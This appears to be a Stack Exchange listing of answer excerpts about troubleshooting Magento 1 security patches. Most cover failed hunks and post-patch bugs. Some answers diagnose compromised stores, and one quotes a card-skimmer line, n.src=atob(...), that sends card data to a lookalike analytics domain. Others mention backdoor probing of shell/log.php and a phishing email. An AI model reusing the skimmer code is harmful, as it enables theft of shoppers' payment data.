20

The biggest problem, which was found: Mage::log() works incorrectly. If you call this function with custom log file (and it does not exist yet), log will not be written to the file, because of additional validation, added in the SUPEE-11086.


12

So far, I have come across the following issues with the SUPEE-10975 patch: It is not possible anymore to delete customer groups via the admin because of a missing return statement in the new method Mage_Adminhtml_Block_Customer_Group_Edit::getDeleteUrl (issue found by @mikhail-chelevich). This is the case when secret keys are enabled for the admin, which ...


11

Important: the patch name includes the highest version the patch applies to. So a patch for 1.9.3.10 would apply to 1.9.3.10, 1.9.3.9,.... down to another patch. We will try to improve naming in the next release and you can also use https://github.com/steverobbins/magedownload-cli as it should see the versions metadata properly over API.


11

Missing return parent::getDeleteUrl() in app/code/core/Mage/Adminhtml/Block/Customer/Group/Edit.php + public function getDeleteUrl() + { + if (!Mage::getSingleton('adminhtml/url')->useSecretKey()) { + return $this->getUrl('*/*/delete', array( + $this->_objectId => $this->getRequest()->getParam($this-&...


11

This patch is incompatible with the PHP 7.2 support patch. Removing lines 1711 to 1761 allows to apply the patch. This patch tries to patch files that have been removed by the 7.2 support patch. Removing these lines should be safe.


11

Error installing on 1.7.0.2 CE with all previous patches installed (see below). EDIT: Issue (#1) was caused by missing file - app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php.orig Issue (#1) resolved by removing lines 874 - 1702 (referring to File.php.orig) from the patch script. Issue (#2) was caused due to improper formatting of patch and ...


9

Magento 1.9.1.0. Patch was applied successfully. After adding a product to the cart and then logging in, the cart is empty again. I don't think the issue was there before and there seem to be changes made to app/code/core/Mage/Checkout/Model/Session.php UPDATE: I've debugged this a little bit. When I revert the patched version of app/code/core/Mage/...


8

I ran into an issue with the 10975 patch. After some investigation I was able to track down the answer as to where the patch was messing up and why. To summarize the below check and make sure you patched SUPEE 9767 V2 properly. That is the root of my issue. sh PATCH_SUPEE-10975_EE_v1.12.0.2_v1-2018-11-27-10-36-30.sh Checking if patch can be applied/...


7

On M1, specifically 1.9.2.1 w/ all previous patches applied. I got the following error: Hunk #1 FAILED at 483. 1 out of 1 hunk FAILED -- saving rejects to file js/tiny_mce/plugins/media/js/media.js.rej Removing the lines about that file from the patch file and manually applying that change worked for me when I re-applied the patch file. When I looked at ...


5

Firstly, sorry for the duplicate of erej's answer, i can't comment nor edit because of my reputation score. The patch creates a new file here : app/code/core/Zend/Controller/Request/Http.php Which is added to override this file : lib/Zend/Controller/Request/Http.php Problem is for Magento under 1.9.0.0 (EE 1.14.0.0) : This method : /** * Everything in ...


5

Like others, I had log files completely stop writing data. Source of the Bug - Log Files Not Writing Data In app/Mage.php they made this change: // Validate file extension before save. Allowed file extensions: log, txt, html, csv - if (!self::helper('log')->isLogFileExtensionValid($file)) { + $...


5

1.9.1.0, after applied patch successfully, get below error when login admin Fatal error: Call to undefined function random_int() in /app/code/core/Mage/Core/Helper/Data.php on line 257 how to fix?


4

With version 1.8.1.0 after applying this patch we also had to change app/code/core/Mage/Core/Controller/Request/Http.php::getBaseUrl() function to be public function getBaseUrl($raw = false) { $url = parent::getBaseUrl($raw); $url = str_replace('\\', '/', $url); return $url; } because this patch adds app/code/core/Zend/Controller/Request/Http....


4

I have a problem with 'Hunk #1 FAILED at 28' Rejects are supposedly saved to config.xml.rej but this file doesn't exist, neither is there any description of what part of the script failed in my terminal window. Basically the patch fails and there is no indication why - at least not to a dumbass like me! On first run the patch attempted to delete three ...


4

Mage::log() fails to write anything to the log files if they do not exist initially. This is due to the isValid function of Zend_Validate_File_Extension throwing a not found error when calling Zend_Loader::isReadable($value). I have temporarily fixed this by moving isValid into the try/catch after the log file is actually created and then removing the file ...


3

Trying to install the patch on Magento 1.9.0.1 using PATCH_SUPEE-11086_CE_1.9.1.0_v1-2019-03-26-03-03-13.sh I came accross this error Hunk #1 FAILED at 141. 1 out of 1 hunk FAILED I fixed this by removing the following code from 'app/etc/config.xml' and then running the patch again <dev> <template> <allow_symlink>0</...


3

I'm also a bit confused about the naming for the M1 patches. For older patches they named them like SUPEE-10975 for CE 1.9.3.4-1.9.3.10 or SUPEE-10888 for CE 1.9.2.0-1.9.2.4 (0.07 MB) but now it's only addressing one version PATCH_SUPEE-11086_CE_1.9.3.10_v1.sh. Is the current patch addressing all releases of a minor release or only the last one? I made ...


3

Possible issue with patching 1.9.3.10 checking file app/code/core/Mage/Adminhtml/Block/Customer/Group/Edit.php Hunk #1 FAILED at 57. 1 out of 1 hunk FAILED In the patch we have: diff --git app/code/core/Mage/Adminhtml/Block/Customer/Group/Edit.php app/code/core/Mage/Adminhtml/Block/Customer/Group/Edit.php index 8d3c526c280..fde2ef0d45d 100644 --- app/code/...


3

Prevent xss attacks and sql injection in magento 2 You have to implement below steps: Upgrade your Magento version to latest version Enabled /use Magento google Captcha extension. Audit your application files/folder permission and ownership. Audit 3rt party extension, if this extension has any security lick. One of most import integrates Web firewall like ...


3

Your site contains a skimmer disguised as googletagmanager.eu. Attackers managed to inject this skimmer in over 270 stores this week, and - sadly - also yours. In the cases that I investigated, attackers used a flaw in MySQL/adminer to gain access to the victim sites. Because you shared an adminer screenshot, I suspect they used the same method on your ...


3

The Mage_Backup Module will be disabled by the patch. This is mentioned in the official release notes (https://devdocs.magento.com/guides/m1x/ce19-ee114/ce1.9_release-notes.html#ce19-1940). However the suggested solution to re-enable it is wrong: ("Alternatively, you can use one of these two methods to enable database backups") You actually need to use ...


3

This is spam/scam. Do not click the link and ignore the mail. update.magento.center is not an official Magento domain, also SUPEE-5344 is about 3 years old.


3

Navigate to the "errors" folder. Change local.xml.sample to local.xml You should now see a new list of crazy errors all over the Magento page - this is okay Open magento/lib/Zend/Cache/Backend/File.php and look for: protected $_options = array( 'cache_dir' => 'null', Change it to: protected $_options = array( 'cache_dir' => 'tmp/', Save it. Now the final ...


3

On M1, 1.9.1.0 with all previous patches applied, I get numerous errors: checking file app/Mage.php Hunk #1 FAILED at 813. 1 out of 1 hunk FAILED checking file app/code/core/Mage/Adminhtml/Block/Catalog/Product/Edit/Tab/Super/Config.php Hunk #1 FAILED at 155. 1 out of 1 hunk FAILED checking file app/code/core/Mage/Adminhtml/Model/LayoutUpdate/Validator....


3

Magento 1.7.0.2 I'm getting: Hunk #1 succeeded at 113 with fuzz 2 (offset 4 lines). checking file js/tiny_mce/plugins/media/js/media.js checking file js/varien/js.js Hunk #1 succeeded at 707 (offset 5 lines). checking file lib/phpseclib/PHP/Compat/Function/array_fill.php checking file lib/phpseclib/PHP/Compat/Function/bcpowmod.php checking file lib/...


3

They're probing for a backdoor in shell/log.php. Yours isn't compromised if your log.php matches what Magento 1's should be, but if it was compromised, that payload would presumably indicate to the scanner that your site is in fact vulnerable. The parameters are all possible request keys that backdoors in log.php might look for. This is the shotgun or '...


3

This might be totally just our project related but thought to share this finding. After applying this patch I noticed that if grid, like orders grid, has some custom filtering which uses filter_condition_callback setting. This might produce an error. In our case we have a date field and for the grid it has index recurring_billing_dates and '...


2

If anyone is doing this via Composer there is a free module you can install it allows you to install patches from the cli. magento@ce87c6cc1cdf /home/magento/htdocs/$ php bin/magento patch:list Magento Version: 2.3.0 PRODSECBUG-2198 - This patch provides protection against the SQL injection vulnerability described under PRODSECBUG-2198 More info can be ...


2

Based on the comment. I think it's safe to assume the parameters are escaped properly. Tried these 3 cases: Case 1: $email_address = "email-with-single'quote"; $sql = 'SELECT * FROM `customer_entity` WHERE `email` = ?'; $bar = $connection->fetchAll($sql, $email_address); echo "<pre>"; print_r($bar);exit; exit; Result is an empty array. ...


2

You have not one but at least two (competing) card skimmers. The jqueryexts.us is a simple one, but in your screenshot cards are also exfiltrated via: n.src=atob("aHR0cHM6Ly9nb29nbGUtYW5hbHlpdGljcy5vcmcvZ2EvZ2EucGhw" Which is https://google-analyitics.org/ga/ga.php. See also my blog about fake Google Analytics skimmers. If your domain starts with "green", ...


Only top voted, non community-wiki answers of a minimum length are eligible